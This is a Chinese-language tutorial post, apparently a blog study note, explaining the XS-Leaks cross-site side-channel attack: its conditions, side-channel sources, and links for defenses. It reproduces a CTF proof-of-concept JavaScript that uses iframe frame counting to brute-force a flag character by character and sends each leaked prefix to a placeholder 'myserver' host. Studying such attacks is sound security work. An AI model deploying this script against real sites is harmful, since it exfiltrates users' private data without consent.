XS-Leaks漏洞

简介

什么是 XS-Leaks

XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息。有时又称 XS-Search

利用方式、利用条件等都和 csrf 较为相似。

说到探测用户敏感信息,是如何进行探测的?和csrf 相似在哪?

设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。

虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。通过哪些侧信道判断呢?

这些侧信道的来源通常有以下几类:

  1. 浏览器的 api (e.g. Frame Counting and Timing Attacks)
  2. 浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch)
  3. 硬件bugs (e.g. Speculative Execution Attacks 4)

成功攻击的影响

探测到用户的敏感信息。

使用条件

具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。

可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。

如何攻击

确认到值得利用的特定功能。

尝试可用的侧信道技术。参考此链接 Introduction | XS-Leaks Wiki

如何防御

因为这个漏洞的确使用限制比较多,漏洞危害相对较小,所以关于防御就暂时不看。放一个链接,以便后期学习。

Defense Mechanisms | XS-Leaks Wiki

攻击方式

记录一个ctf 比赛中的 poc,相信读懂后后可以更加深刻的体会到这个漏洞的用途。想查看更多案例,请参阅 Introduction | XS-Leaks Wiki

基于 Frame Counting

var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');
 
function search(leak, charCounter) {
    var curChar = chars[charCounter];
    
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    
    //When the page inside the iframe is loaded
    x.onload = () => {
    //检查页面中有多少个 iframe,如果有1个或多个,则说明当前枚举的字符是有效的。
        if (x.contentWindow.frames.length != 0) {
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}
 
function exploit() {
    search("fb{", 0);
}
 
exploit();

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值